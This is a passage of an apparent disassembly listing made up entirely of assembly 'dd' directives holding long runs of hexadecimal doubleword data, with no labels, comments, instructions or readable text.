5EEEDB48h, 2AC71F2Ch, 0B4E3EADAh, 0BE1127E4h, 6D8E8232h dd 0C74A7D19h, 773C5156h, 6256BDDCh, 0B36FBE51h, 0A8AA864Ah dd 5FB40DDh, 13FC76DEh, 606C5BA2h, 86CE2BE6h, 44696BECh dd 3EA41615h, 0C7998E77h, 6C7E59B6h, 0E8302F9Fh, 89887852h dd 5AC8359Ch, 18C9A207h, 315E18B3h, 0A2B067D6h, 1D9B07B1h dd 8C82937Bh, 0BB53906h, 0BDA323B1h, 0FD8E4005h, 82845B27h dd 66D948F8h, 11E1080Ah, 39C46C99h, 3DCF413Eh, 4CE15E86h dd 93122375h, 0A20E2BA8h, 8D2131C8h, 745C1635h, 0ED7A9253h dd 0ADE83C73h, 628A783Fh, 6A1C10EFh, 0EE149CE1h, 2819BB21h dd 7BF67F12h, 0E8C2095Ah, 0DAE00169h, 0C7725D40h, 0A14CF2BFh dd 31F2B6Fh, 7D90DE62h, 0CDDA362Ah, 53348C1Fh, 0EAC2C17h dd 37792CC4h, 0FD44B821h, 0D98E00EFh, 1610164Dh, 0B971AA61h dd 0C3BA318Fh, 5534C83Eh, 0DD4F8E11h, 0A6C63205h, 85BAB5FEh dd 0D6B4A395h, 0DC483904h, 0D16EC25Dh, 0C2EA70C3h, 1C402AB3h dd 0C3530A36h, 0C09A0D66h, 91713411h, 5C9053B1h, 0F93554D3h dd 44D18720h, 24D76BD9h, 547ED875h, 6F5A00Dh, 36940CF7h dd 0D789BD7Dh, 92BC908Ch, 6A27B860h, 0A5B060A2h, 8C1843DFh dd 0F4C7D812h, 0B38E762Eh, 0D51DDCD5h, 36AA8794h, 20A8E0B1h dd 0D8339F00h, 0AF197295h, 2FE90BFBh, 0C77A6183h, 2B0FCB3Ch dd 1B0F2EA7h, 0C3F02515h, 178B7B99h, 0DB78C425h, 79FB2FB6h dd 2EE7F63Bh, 1520577Dh, 0CC6F9788h, 2A74802Dh, 53665BE9h dd 74F250D7h, 10B70448h, 400AD4F1h, 0F5CA15C5h, 3E3DA21Eh dd 0BE1E16CCh, 4C1EFE7Dh, 3103B10Eh, 2A94BE58h, 9BEFFA21h dd 741AE60Ah, 0F7F39E6Ah, 3F985CE9h, 91FEC7BBh, 0C8CBF967h dd 61A6892h, 5B744361h, 0BB9EAF6Ch, 0BA7CD77Dh, 72A1ABBFh dd 0ED8826Dh, 4087E740h, 0E3C3D726h, 21B8BC33h, 3BD5796h dd 0C6186BDh, 924D55C4h, 0DD22F719h, 7B8F9A29h, 0F076C95Ah dd 0D23BAC12h, 0F4BB6B08h, 9CADAD7Dh, 0F7DF7774h, 442DC04Ch dd 0D4C104F9h, 66914B64h, 0C6D0FDFFh, 5728BE2Dh, 0C1F25DF1h dd 49B84566h, 6C2895DCh, 8C1B3390h, 97B89819h, 0C1358AD0h dd 0EBC0E3AEh, 0AB51EFF6h, 64D71979h, 0CA9F56D6h, 52F8873Ah dd 82A7CD48h, 0DA88ECBCh, 0B00E5821h, 600F7CC3h, 0A198FCCDh dd 2CEEAA22h, 40B39FDAh, 0E0497307h, 1AF425EAh, 0C79AFC58h dd 340ADD9Eh, 0D4D22AC1h, 0B96C8945h, 0F36463C9h, 2493AC08h dd 0F8ECEB0Dh, 0FA88029h, 9F499B36h, 4860FCD0h, 0B3D092DDh dd 507A6F45h, 0D7D5995Fh, 2AE23C0h, 8F4D9A8Eh, 2D332B35h dd 55AECFD5h, 81646F48h, 8423C4B7h, 0D9D748A0h, 0E2904099h dd 7F17CAA8h, 0F87B9187h, 0B438BFBAh, 76A6778Ch, 0B642B055h dd 0BAA85574h, 0FB220C5Bh, 0A8E97E63h, 8A35C5CFh, 8C0BA85Fh dd 6F1E8CF9h, 0E83A98D9h, 3E0C48F7h, 2FFBAA70h, 9196964Dh dd 0E91BA08Fh, 0ED95A622h, 7C2B45AFh, 0C2522B0Dh, 769514E1h dd 4E4985D5h, 248B2317h, 0B2355D50h, 1EA350D2h, 88940B5Eh dd 4FCA825h, 0B1F51521h, 65E6FFD5h, 7784CD1Ch, 9480E8E4h dd 0AE7B14Ah, 0EF157CAEh, 85EC5A64h, 58C484FFh, 83F49B92h dd 1AB1D264h, 44218419h, 37529583h, 0C2B8EAE2h, 0BDCBB8C8h dd 37F154A2h, 8A288875h, 8287A715h, 30F5FA8Bh, 9A15DFBBh dd 49B2D5C0h, 0A9B2530Dh, 0CDA8E808h, 5AABDDCEh, 93F2B4C1h dd 0CA742C9Eh, 17E726B4h, 0F9DDE6A1h, 0D5037E8Fh, 0ECCCF38Ah dd 647704A6h, 0D857D503h, 524F26E5h, 6BF0B23Ah, 0A04A714Ch dd 0B3CD08DBh, 0AA3F17ADh, 61CFCBE2h, 500E9802h, 0DF8C2E03h dd 4D1BCC41h, 8DF1BEEEh, 3943DBA9h, 4A6E21C8h, 821C3E72h dd 6938BC32h, 0BFB7AF7Ah, 42A6A4D0h, 0B0A2349Bh, 2F2A11ADh dd 0F465F96h, 3D7E2DC3h, 0E459FB5h, 49EB373Ch, 57AFFBCBh dd 74B46074h, 0D2A40CB9h, 343B0903h, 39C40799h, 0CE26A4CBh dd 13E46E2Ch, 0B666C53Dh, 0C2377690h, 0BA0039B5h, 0CA745B75h dd 5AF568ECh, 40CC2CC5h, 58397833h, 0D7CF5423h, 0E737DFFh dd 6142ECAFh, 2F4CD3B7h, 7325FB04h, 7860358Ch, 11AC4B5Ch dd 7AF11E1Dh, 5AD19B98h, 0FD74B239h, 64F6805Fh, 727FD7DAh dd 0BD2865C8h, 8D9CF642h, 8E335B28h, 6310BE96h, 0E71F6616h dd 9A76739h, 0E2DF3988h, 0F6BD006Bh, 362CEB5Ah, 6C10557h dd 899A12C1h, 0ED7E8BD1h, 2F879D27h, 24A5BAA1h, 0F71D96h dd 6ED038A8h, 0B159C3F5h, 12BB1B85h, 0DE837B84h, 0B381EF59h dd 0FCDCE6F9h, 0F38214B9h, 0B0FA03FDh, 1EB04862h, 1B13CF70h dd 482CD833h, 838A368h dd 6F1270Dh, 81B17A66h, 44EFF0D9h, 1C31DB3Eh, 3B77A77Eh dd 0A4366E85h, 972DE7A5h, 0B5BC1195h, 48723B72h, 1FEFF6Dh dd 0BA95F5D1h, 8CC46450h, 92960CBBh, 0CFF14824h, 8D0716F7h dd 0D33B7CFFh, 1A530FB3h, 0E05DD95Dh, 0DB46A325h, 9F7D0906h dd 0FF2B6338h, 45E68832h, 11729CCEh, 0AD2E660Ah, 0ED5E601Ah dd 0BCD0681h, 0EB762EC0h, 9B734CC5h, 0DAFD4FBFh, 3458821Fh dd 58A8A83Bh, 93692117h, 0C81709CDh, 7227F933h, 0D36B67BCh dd 0DA33D510h, 0C92B09DAh, 0B3DC967h, 0ED3899AFh, 271F7D9Ch dd 54E7F248h, 1D05998Fh, 3BFA1106h, 2EE2CB83h, 75FBE51Eh dd 0C7C5EFECh, 0C9A49763h, 0A6D5CBE8h, 437537BEh, 0DB16DDEEh dd 0B5C92679h, 1EBBDC30h, 52D2F9E3h, 2EE4024Eh, 87A226DBh dd 40693E80h, 0B02807EBh, 9A0286C7h, 0BEDE1091h, 0A3882836h dd 5125DE6Ah, 8274E4AFh, 93846CC8h, 0A0258C4h, 4AA7D7D0h dd 6729FBCDh, 2A55B0A3h, 3D3E7156h, 0D1E60DC8h, 614EF184h dd 0DE57460Fh, 0CDE1A35Eh, 1CDF6B7Bh, 0C224061Dh, 21344D2Fh dd 21AC5A44h, 73D14ABEh, 52A7F831h, 5E45ACB0h, 0FB32B2D9h dd 0CCD716C0h, 4E27C505h, 0CE6091C2h, 4E3A8839h, 0A93E4A4Ah dd 32D24FA1h, 1C4C34EEh, 95C5D0D1h, 3923D3E2h, 8CE9F005h dd 0BDFE100Bh, 12ACC5D4h, 8F5BD960h, 6C6A0E9Ch, 76632788h dd 87086D6Bh, 0EEE5FAD2h, 0C2CBDC00h, 3A37DB9h, 8DD02FE7h dd 64C35745h, 4FB424ECh, 35344C03h, 0B4508C0Ch, 272F33C2h dd 5C09FFC6h, 289B49B0h, 5E53980Fh, 0BD9893AEh, 18AAFA06h dd 0DC7E56BAh, 2BE28254h, 762A92Bh, 0ACF2023Fh, 0C303A798h dd 1386FE99h, 827B4D84h, 0BED6F14h, 0D6DD9792h, 0AB447FCBh dd 83256D7Eh, 0BD6B27AFh, 0E1AF4075h, 7C01984Bh, 5691D6B2h dd 51CA9C69h, 8E29FDAFh, 41A588Eh, 3B2492FCh, 0F3FB6B6Eh dd 0CE313701h, 48525BF2h, 84846485h, 0B9CDA793h, 699DF58Fh dd 386707C3h, 54BFF68Bh, 3FA24DEFh, 0A0F7DD59h, 0F58ECDA6h dd 0C61C5819h, 2F62B2F3h, 0C061BB13h, 62E513FDh, 4D437041h dd 0A5950472h, 5D4E31CCh, 3E7F9EE4h, 0F2839FD7h, 4846BEAFh dd 78A733E2h, 0A11E758Ch, 0B79F2AB1h, 633460D0h, 0F91FFA19h dd 0CE51625Bh, 0C0E4B5DDh, 61A231B0h, 192DAAEEh, 69413137h dd 0C38494DCh, 796FAD3Bh, 0DB8F7786h, 1274DB4Fh, 5D7D3B9Bh dd 8C90E7A8h, 840AEBC9h, 6ED031E0h, 0CD5F1107h, 7A5CF8C7h dd 0BDE45DA1h, 0D02D45B7h, 0CF1A45F2h, 6EA6C8CFh, 28D6F7DDh dd 0BEB9352Dh, 5030BA89h, 39F761C8h, 3E02ADB6h, 0E7BC57BEh dd 0CB636417h, 7AC0EAAEh, 0A93D4CAFh, 0C3BB1B7h, 0E8DE6312h dd 7F024CFEh, 670886EDh, 8B10632Ah, 8BABBC12h, 0CBDB6880h dd 3E7AC96Ch, 1760C1D8h, 1CBB5A21h, 0DBC25A0Ah, 0FF7553EFh dd 0A90CA2B3h, 0B3DC9C36h, 0F61590F6h, 525A1A30h, 7BA883CBh dd 3333F4ECh, 85122DCEh, 4B12A74Ah, 0F286BEB8h, 9FBE17A8h dd 1BF94C81h, 0C66D492Fh, 0B166D615h, 12BDB2DEh, 247D0160h dd 91B17025h, 9867B7DAh, 0F81AA4E8h, 228345CAh, 62F64FD5h dd 0F065691Bh, 3FF1F97Ah, 0CEB904B4h, 3D99F794h, 0EE8538C8h dd 0C6865A92h, 720F7950h, 0C2657308h, 0A1B44829h, 0EECF4356h dd 56D241AEh, 91356360h, 2392B5CEh, 0CE9A50EDh, 53912C00h dd 19875A65h, 886FC794h, 81E2F6F1h, 28F4F4Ah, 207D2498h dd 889D6F4Ch, 0A2B760F2h, 93B0B621h, 0AAF8A111h, 0AD9BA20Ch dd 305EF51Ah, 7CCB2B1Fh, 9440F0F9h, 21CCD0C3h, 234B5D57h dd 33AE81E6h, 0DC45CF8Ah, 22E69B01h, 198696A5h, 0B49B7013h dd 1A917549h, 0F70B6B18h, 0EEAD877Ah, 8FFE9F8Fh, 0D11C0CF4h dd 46D6E4D6h, 0BC6649A5h, 1176E576h, 7D75842Bh, 982A1C3Dh dd 0FA9D2490h, 9D355814h, 6EBA171Eh, 6B3C311Dh, 0E2937B4Ah dd 874A8AABh, 8A989FD5h, 8D1185A6h, 3FB2567h, 59F9BAA1h dd 7906999h, 602A59B9h, 0C9B35D59h, 0D6FCD894h, 6CC081E7h dd 697A5D55h, 0D5A7F549h, 3568FFAh, 0E72241E3h, 0BB5A9953h dd 3EE2D860h, 0ADE60D60h, 77D35D5Dh, 49E90EAAh, 84A6353Fh dd 1AD440C3h, 8EEC03F5h, 641BF525h, 9D98F58Bh, 660C5910h dd 6E1C6364h, 2610623Ah, 0B3732CBCh, 73F1E9A3h, 4AF4C9A2h dd 115C3320h, 453326EBh, 0F328FD7Eh, 0E29D60CAh, 394512AAh dd 0A8BAAA74h, 959F0649h, 0CCDA48AFh, 26C966BCh, 0EEC6CD30h dd 0ECD99930h, 81A5EE6h, 999E95A9h, 0F137AF7Eh, 7937B6B1h dd 0C8CCBC6Bh, 52D5A31h, 64B83DE9h, 0B2C3C930h, 0EDC22201h dd 24E1A06Ch, 0EEC226E2h, 0EFB0CD44h, 0D0E26277h, 891278FBh dd 6E1EF7B1h, 0A24845E2h, 2AB78947h, 0AAD9EA0Eh, 82B470D9h dd 741EBC66h, 0D2F56651h, 0EA0CFD5Ah, 71D2360Ah, 0A288EAEh dd 8247C19Eh, 3E497D6Ah, 4BB0C2A3h, 1B8DE7D9h, 56388CA8h dd 0AE8D22C0h, 0C0FF4395h, 784D583Ch, 7F9A9B45h, 383F5656h dd 0F8008B2Fh, 9A9A5388h, 39D47C67h, 5220630h, 18C04C2Bh dd 27CA4951h, 0C2FD3498h, 118EF6A1h, 6926C8CAh, 9135637h dd 0BC9199CBh, 49472B85h, 58EB9BF6h, 424F9199h, 0E3CB08C9h dd 6DAF7150h, 74DAB845h, 0AD90411Eh, 0D5BC9643h, 9A7A62AFh dd 4B06820Fh, 0FCC53219h, 0E5051DE0h, 6CC7F551h, 0E5C8615Ch dd 7185B627h, 0BDE9B1EDh, 89E0841Bh, 4FA529F3h, 73D65E67h dd 0E5487FCFh, 5C60F7C4h, 0E3F96931h, 0D1092A6Fh, 64838977h dd 0FBC09D16h, 9F9EE6DFh, 13333895h, 58865204h, 0AEE832A3h dd 0BB02427Fh, 76A8A263h, 0EBC29995h, 0D9D4A591h, 0B5A5BF34h dd 0B79945B5h, 0B5D9E869h, 238FF75h, 31E8CC65h, 23197C65h dd 0F449AAEAh, 828B2E3Eh, 23DA8FADh, 0FE5AB60Bh, 0B3AEE162h dd 8D27701Ah, 3CF194A9h, 106D26FAh, 1B34A867h, 0EC62B671h dd 0ACC5F661h, 4DF157CDh, 6D58942Bh, 59E46EE1h, 0CABEE604h dd 0B516E2DBh, 59EB9B20h, 0F1D6691Fh, 7F62BE7Dh, 179F493Dh dd 0F090D294h, 58CF0D42h, 839E0C45h, 1EEED1A0h, 388AD744h dd 9E615817h, 567C5B61h, 59D86583h, 0F2200DA9h, 34E53086h dd 7E2755Bh, 9546A65h, 0C2A6FCD3h, 9525C281h, 0FC5F39F3h dd 0FB9C827Ch, 855F0427h, 191B1E0Fh, 0F3E13EB7h, 2CB741DFh dd 38604B4Ah, 1009C38Dh, 0BFC1EC7Bh, 639A08F0h, 3C0DC742h dd 7E0A5408h, 406E393Fh, 0DC963196h, 0A7B6D4F8h, 0BE4AE44Ch dd 7D5A0558h, 74B8A68Fh, 66ED69C4h, 70454E47h, 272CE704h dd 7A41CD13h, 0AEA51C08h, 62DF6D73h, 0DD800122h, 1871C329h dd 993566D8h, 0DFD39A79h, 6DBB04EFh, 0FB5A2842h, 6B349173h dd 23E5167Bh, 2CE998Ch, 917213h, 5158AFBFh, 0E1538403h dd 0C32004B8h, 0BDB66FC5h, 3FFD91Fh, 0D337597Ah, 16CD81B3h dd 0A7E4823Eh, 8B07AC6h, 993AE9C0h, 0ABFE7B03h, 9F561FB8h dd 32066490h, 0C200EDACh, 0FE32426Ah, 8EE74D3Ch, 0B8DFA74Ah dd 0B31B9641h, 69E115F4h, 0A9DC4424h, 9F7C7DCAh, 8591F101h dd 4D1407C6h, 65EB19ECh, 1FC001B4h, 0D88B9C3Bh, 0BF4C27FBh dd 29D08A01h, 8B01EE7Eh, 220EBD7Ah, 37D0AD76h, 0F16AEC67h dd 9971467Dh, 0D03C823Eh, 0F80FE81h, 8A89F0F7h, 3916593Dh dd 0FD06BB26h, 87A606D4h, 0F7E31FEh, 33963A31h, 0BA2D449Fh dd 4AB4769Ah, 2B1A0F99h, 9A90E52Eh, 2DC4D2FDh, 0DCFB2D68h dd 1DFDDE01h, 0B8E0B3FAh, 9AE05804h, 0BE05471Fh, 0F003DB59h dd 83015D52h, 7549E479h dd 363F9B0Fh, 1DF4CDA8h, 0E421CB98h, 0AEFA2174h, 0BDDB71CDh dd 792B8384h, 8C196941h, 548E336Bh, 36630987h, 5C391F91h dd 3C6ACC97h, 0C24C19Ch, 0A627D3Dh, 0C6AA8E88h, 5A172E2Dh dd 4357B4A0h, 91FEC83Eh, 344C2D84h, 0E91BF800h, 0C823695Ch dd 7CF48E44h, 0D011E449h, 6526532Ch, 0A431D393h, 2216DDC9h dd 4B011413h, 3782C5D3h, 9889E2A6h, 8E91911Dh, 0AD9EE0D0h dd 0A7D9F754h, 9E974AAFh, 0BB31355Ah, 9F95094h, 4D2BC42Dh dd 0AA6F593Eh, 0BF8E5631h, 195A8681h, 0D56159DEh, 0FEA32F4Ch dd 0AC8C17F8h, 0C9EC6B87h, 6D3DFA76h, 31FEBF2Ch, 31811CCAh dd 7AA4D433h, 0BFEF37AEh, 517BA93Dh, 0E5CA756Ch, 13CDE546h dd 6D8A8F82h, 0C1D2E7E5h, 8E3C7A4Ch, 65AFBD0Eh, 9CDA5999h dd 4404A191h, 3020DB3Fh, 0B3BE5368h, 0ED846E65h, 0A528091h dd 8489248Fh, 3F9C1C69h, 7FE24873h, 0C143E1BBh, 0B86CBAF4h dd 0A2C58567h, 12B1C084h, 366B3F6Ch, 0F13E6C84h, 611202DCh dd 852C3B6h, 3882B63Fh, 0D9647C1Dh, 5457E50h, 14DD0313h dd 2CB60164h, 0C5539952h, 0E0179E27h, 620E67F7h, 0C1C06E6Bh dd 0F332B733h, 5A11FDFDh, 0E812A216h, 215EDB7Fh, 0A9CDBC9Bh dd 0C4D6E2FCh, 74746079h, 6CA6C389h, 9D6FEA52h, 2E5A47C6h dd 0C573738h, 2266F5F3h, 76AD0322h, 448EA03Ah, 249626E2h dd 790F727Fh, 3723A9CCh, 294F1094h, 0CC62FC07h, 6FC242Fh dd 0D439D90Ah, 0B538A4D9h, 99E79153h, 65343E5h, 5E42D286h dd 2FE32FCEh, 0B0B9223Bh, 0B678B790h, 31412E6Ch, 83E75145h dd 0BD62BBBBh, 516FD913h, 46001E5Ch, 0F7DB5408h, 4CB9428Ch dd 4D447A2Ah, 0B542133Dh, 1070EB67h, 0BC30C62h, 33689468h dd 0DF6100E1h, 56D16ED6h, 0DB88CD58h, 31CC3DA1h, 2238BCEDh dd 0F273DC46h, 0BFC064CBh, 35C3DA4Ch, 2434A4B8h, 0ED25EAB2h dd 25288170h, 9D721449h, 4EDD7779h, 0A3CAEE3h, 171A1F13h dd 0FAF1B532h, 44EEC411h, 0DC8BEF99h, 7EB25FDh, 0FDBA778Bh dd 4D4A3D87h, 136DF0A6h, 0D1A6190Dh, 8672511Bh, 0C29D14B9h dd 2C7F7D07h, 19F6F84Eh, 0A7110DF9h, 28ABD8AAh, 56319A90h dd 132E190h, 1C7EB0C1h, 260F6E53h, 4A494B3Eh, 0AB016E47h dd 273D38A9h, 8E62FC27h, 2ADA1156h, 74869B8Eh, 0D3520054h dd 5F4935BCh, 0B77D64ABh, 0E14CAFE9h, 4DFA158h, 0D4564308h dd 8C12DA4Ah, 0E0603D24h, 44E9A29Bh, 67167564h, 0F768DF40h dd 98A31AE8h, 5DE64583h, 90826A4Dh, 20336DB6h, 2F3DDD88h dd 0C1DC0F41h, 0DC37999Bh, 8795CD89h, 265314ACh, 5F48254Ch dd 91AB9A7Ch, 3729C0F9h, 1C3116EFh, 0FC3EA850h, 2ADA0699h dd 0C9698FE7h, 0A3E73DF2h, 0A46656EFh, 0B9BF107h, 96401363h dd 2B6C163Fh, 737048C8h, 0FBD44EFh, 3040870Bh, 5880A054h dd 86F95ABCh, 52415AD5h, 0CB9DE44h, 3DE7F2C1h, 0AB2C4D51h dd 0DAC98807h, 8E854686h, 0B78B4C3Bh, 6FB1E87h, 0ACCE6C14h dd 8D159805h, 8CB432EDh, 76E1ACFDh, 1BA3D777h, 192AB9F2h dd 3C1824D9h, 6D43CB8Dh, 66290C0Ah, 63D3A6D2h, 4BA909E5h dd 1D2BC3F7h, 8E513EE8h, 94E5C2E7h, 9EF8654h, 6389838Eh dd 5FD42F04h, 6FA95A95h, 4B94E87Dh, 0D4497479h, 0AC1BD276h dd 3F837B2Ch, 0C6902C19h, 24F29A2Dh, 0A5120225h, 5D4C4EC0h dd 70AF5A2Fh, 0A34B98B1h, 9A581A1Bh, 1D060ECh, 8FA1C44Ah dd 2593C0F5h, 66F1CC44h, 28DBAD97h, 5AF8448Ch, 0BDC98D1Fh dd 387219B2h, 4B69306Dh, 0B3B2E76Dh, 5B09F9DCh, 0D7E1BFBAh dd 0E525A08Fh, 0DAE8C6B9h, 4B035B4Ah, 87CAE9E4h, 58618E8Ah dd 187696D5h, 322680AEh, 656DF5FBh, 4D682234h, 0DA3AB243h dd 20A1EA91h, 1984957Eh, 4238CE1Eh, 7DE10B8Ch, 0B7D354DFh dd 6D2FC6B7h, 0B66B0CF3h, 98CF8BFh, 43911E86h, 1B16BA79h dd 0DF68AC42h, 7CDC1671h, 1F443584h, 7E40C6A9h, 0A6DABAF7h dd 0EF283B87h, 0E11B484Ch, 7F92C185h, 31297146h, 175F19B9h dd 8C239408h, 0EB9200E3h, 5FAFD859h, 0EE3C9A6Eh, 3EB9B5B0h dd 0B579D2D3h, 91DD83D6h, 0DA426350h, 6596A3B0h, 26212AD5h dd 72A8AA29h, 0DA1DEDDFh, 38F5061Ch, 3701E7F5h, 512191FDh dd 8116189Fh, 931F19E8h, 350F101Eh, 0C40F4802h, 53CEA2B5h dd 0EC2518F7h, 4D968A3Fh, 991F93ACh, 3EE6FAE5h, 0EBEB3C90h dd 2EBFA55Dh, 81238523h, 0B01F9314h, 981DCD70h, 0C80BFFDDh dd 24FB4162h, 6C6DABF9h, 0E53D88EAh, 0D045B463h, 0DC3D37A4h dd 57539FAh, 0C86B94h, 0C7E24348h, 0F133EC6Bh, 0AB869C47h dd 0E5D835ABh, 330E73CCh, 0B20990F9h, 13371B05h, 51325024h dd 3C18AFB6h, 0F0BA9BAEh, 5D81DBE3h, 2D1D3BDEh, 315C89A7h dd 0FAC46FA8h, 78C7737Eh, 4DCC8150h, 0A1086C44h, 792030CDh dd 52AE852Ch, 24AC5377h, 3F45A255h, 1E5D2C31h, 0DE6C7B89h dd 0E49AB305h, 6EBF3923h, 799A672Ch, 915A1358h, 63A381E0h dd 0AAF8FD62h, 0AD4CD756h, 24890633h, 0C9D3854Fh, 915013Ah dd 0C523C6C2h, 0FC3FBB83h, 0FE5A5CB5h, 0D522050Eh, 10CA19F8h dd 0F794B8D6h, 0F6A00F16h, 0EC4BF0C0h, 4E6F92EDh, 0AAB48951h dd 85ABB96Dh, 36EB90A2h, 0ABF2FB9Ah, 8A2CD395h, 4FE7C5DDh dd 639D6793h, 1253BA37h, 32E27BC6h, 9A3C01F1h, 7FBAE87Ch dd 0CDFBDBFBh, 969BB563h, 6F80939Bh, 0FD3C3A3Ah, 8B389A0h dd 4637F13Ch, 3A3EDF0Ch, 0AD72A074h, 0A5700E62h, 78093E9Bh dd 0E4B933FBh, 0CD35E89Eh, 4AABF67Ah, 9B053E63h, 6D28DA84h dd 40C3548Ah, 2979FEC4h, 48CEA591h, 0E152818Eh, 44F1EE8Bh dd 4CDEA439h, 0CD3C3AC7h, 802C22DBh, 3FBAA26Fh, 7C23BC7h dd 76F63800h, 0EDEAB235h, 0C5BA2393h, 0D926411Fh, 14926D88h dd 0B2618C59h, 919652C2h, 0E6CA370Dh, 0C3BBD1DAh, 0D29AE3CBh dd 45446BD0h, 6636C4Eh, 0C1E9B3C2h, 0DDE6E598h, 2F61B063h dd 0CC14CD4Dh, 973CBE07h, 64C1363Ah, 0BF29F32Ah, 48FE865Ch dd 90C97632h, 62A55E60h, 4F77BAF0h, 0B60DBC5Dh, 62C9DA10h dd 0A779E99Dh, 8628A3DFh, 57D23CEFh, 45AAF4EAh, 0E7660C37h dd 58053A61h, 0BF0D2FBAh, 49817DAEh, 6791BDBFh, 0D349C4F8h dd 479D61A2h, 4849E273h, 4437493Ch, 42A2626Eh, 0F80DF5AFh dd 7048BE6Dh, 0AD922B72h, 43C9FBDCh, 0A4ABA843h, 55F80CA1h dd 92CB3120h, 0A094B1AFh, 0BBA0D871h, 2422262Bh, 0CB00EFFCh dd 0C8063110h, 3F8EC2D7h, 0C17CC19Dh, 0A9E8681Eh, 0B619000Bh dd 68BDB67Eh, 0B1F06FBDh, 0F8E9743Bh, 0BF5B27FEh, 5E9E2225h dd 20C9B250h, 0FE2D2B04h, 0BA7BDB70h, 1AECF294h, 26F6EA6Eh dd 70E364DEh, 0C23F6D75h, 48974C5h, 0CFBFA24Dh, 5325F8C4h dd 0B4421BFCh, 6CBC6Ch, 0CA9A6F3Ah, 41A4C63Fh, 4B2D44Fh dd 33D4E7BBh, 2372303h, 0D468D021h, 83FC9910h, 0A92B9FBAh dd 8516B07Ah, 0D3B84134h, 8C660C3h, 0AA0DA66Ch, 225D94EFh dd 9581B65Eh, 8AB48006h, 55E92AA6h, 77516590h, 3F59B1A6h dd 0D42EAD40h, 0A9289A24h, 0E2765456h, 3044E3E1h, 63DAF3A4h dd 0E01CB82Ah, 0C93A49E0h, 0A3D20509h, 2346434h, 0D07CA3C2h dd 56605AFBh, 36C2FF80h, 4921F810h, 0D12AECBEh, 0F5719D1h dd 0AD46FB5Dh, 8C980B57h, 77BAD68Eh, 0D5686AA4h, 0FADDDF99h dd 666583A2h, 4F0211B8h, 8A0E7E2h, 61F3D6D0h, 1FC0E779h dd 0E0B5D97Ch, 0B89E7B20h, 6D012488h, 9C562879h, 6C65F69Ah dd 5C5FD934h, 26BB1451h dd 8999BB3Bh, 0AA649D72h, 700A3382h, 8D45FE54h, 8A0D62Ch dd 80BEB8CFh, 182A3319h, 0ACE4D5B6h, 0D67094B2h, 0E7382B17h dd 901F651Eh, 765C5AAFh, 57CE8F36h, 0E5624104h, 0E1254FCCh dd 25A50F9Eh, 27D9A674h, 0F2C6625Fh, 0C35B0377h, 0D40C7612h dd 0EF98CA66h, 0DB9F87FAh, 17E49579h, 222EFF5Ah, 0B2DFAE9h dd 0F6FA63A7h, 291BB9B2h, 0FE88C4CDh, 7C143711h, 87CC87BDh dd 791F359h, 6CD9C5F4h, 8BC88117h, 0D37F8149h, 8EB93B8Fh dd 0C811F636h, 168E69E7h, 3095D854h, 0BFAB1962h, 180DAE5Eh dd 0F646BBB1h, 8A86EAE6h, 3DA2CD9Ch, 4F69942Ah, 2117F9D6h dd 0FDEE3EE3h, 7EE8D5A6h, 1AFB7568h, 0B622A754h, 0A3D5F51Ch dd 0D9A35253h, 63E15845h, 5DE85C9Dh, 0A3FDB7DBh, 314D236Fh dd 4DF5D92Ah, 3EAA5143h, 33AA0C31h, 61697651h, 815FA8A8h dd 0E8FD5E10h, 2EFCDA66h, 6C12A05Ah, 7292E64Eh, 33FC1437h dd 0FAA2B84Eh, 0CA4688BCh, 1497EF01h, 6DC0B2E0h, 0A2C5A11Dh dd 7D5804h, 26F0994h, 0C65B3E41h, 0CED7CF05h, 13E7EE14h dd 0A7CEB1CEh, 187E22Bh, 6E3F2EDEh, 0E070B384h, 0BCB14D7h dd 0CA400A32h, 0A038A3F1h, 0B5406E95h, 962B512Dh, 0B073A878h dd 0F8117870h, 95BC488Ch, 0DB5A96Bh, 29E8F283h, 6D421C7Ch dd 2D6D791h, 53D61DD0h, 330AC40Ah, 920DE01h, 0E6D77Ch dd 4E500578h, 6A7617h, 0E30A9702h, 0F44F7678h, 0BD26F564h dd 0CAA1E9BBh, 1B75C04Fh, 7C6AC5D3h, 4FC7DD5Fh, 0AB580E37h dd 2F289321h, 5C84551Bh, 520AA579h, 0E268BD08h, 4E7D707Ah dd 7EE31DEFh, 0A150AADEh, 6861623Ah, 0E63797E4h, 0B52055F2h dd 5912086h, 0E19F264Bh, 1681AA15h, 69731A46h, 4042CADBh dd 7443CD62h, 0DEC017E5h, 9555DADCh, 9304A33Dh, 719E3E4Bh dd 2C325445h, 806D4A78h, 69C8D8BAh, 5B6F3082h, 48F8A3C3h dd 29D8EE4Eh, 1CF9B0D5h, 6BB6A936h, 57998A32h, 9B4483D8h dd 0FDF383A8h, 63759724h, 0C50902BDh, 1602992Eh, 20315309h dd 2B985049h, 34CCC00Ch, 3030A81Fh, 0F61168CFh, 0E769134Dh dd 9685F2CFh, 6B675BEDh, 0C26EDF9h, 9FA1965Ch, 0D5AD2995h dd 0E1F3914h, 0DB8D5DD2h, 8D409EEBh, 2FB7886Bh, 5A0F031h dd 0E01E0430h, 0D72B5F64h, 92437C38h, 0D2BB8FF9h, 59050017h dd 0A1E23790h, 82E2CAFFh, 9E396644h, 6BB09992h, 0C57E6C11h dd 5FDF53F4h, 0E13BFFF2h, 0F65B0300h, 1797733Eh, 0FFEABBE3h dd 8CDEFD17h, 996AA362h, 0DDB81041h, 97C6A057h, 0FFDA0E3Ah dd 43265A01h, 553D3A9h, 0A4BC777Ch, 11E157Eh, 0FD91A6C6h dd 14337EF3h, 0F2CA7F4Dh, 61ED00D5h, 90D5A55Bh, 4866FD56h dd 0DAEABBF2h, 0FAABEACEh, 0C9A9F1BDh, 1A85D4D0h, 53368A3Bh dd 0DD441984h, 77C4CEC9h, 0FB37AA26h, 591AB95h, 9FB737BEh dd 967026B0h, 1B79B159h, 0F6AA59E3h, 0D1DDF984h, 0F12058ABh dd 0F956FCE7h, 97796784h, 0E5C626D5h, 0F90A151Ah, 0DD2DD975h dd 6629DF97h, 0BFD2CBEAh, 519B9D6Fh, 96F003ACh, 2660D29h dd 4A1A6FEh, 0FCFA0922h, 0E88A691Ah, 8668CC2h, 62ACE1FEh dd 945AD98Fh, 1B1A6EDh, 5A8338CDh, 0AE678C6Ch, 0CD6BF8FBh dd 5BB9515Ch, 496E6F6Bh, 6A50F2BBh, 0FE072B0Fh, 44053F5Ah dd 0A54ED3B2h, 0DCCBBBBCh, 5DE242E2h, 16D128E5h, 0A3D64CCEh dd 0D415A45Fh, 40507CA9h, 1A3C8B8Dh, 0D2DA8BEDh, 652F42E4h dd 0C64B32DAh, 42224329h, 945BF1D2h, 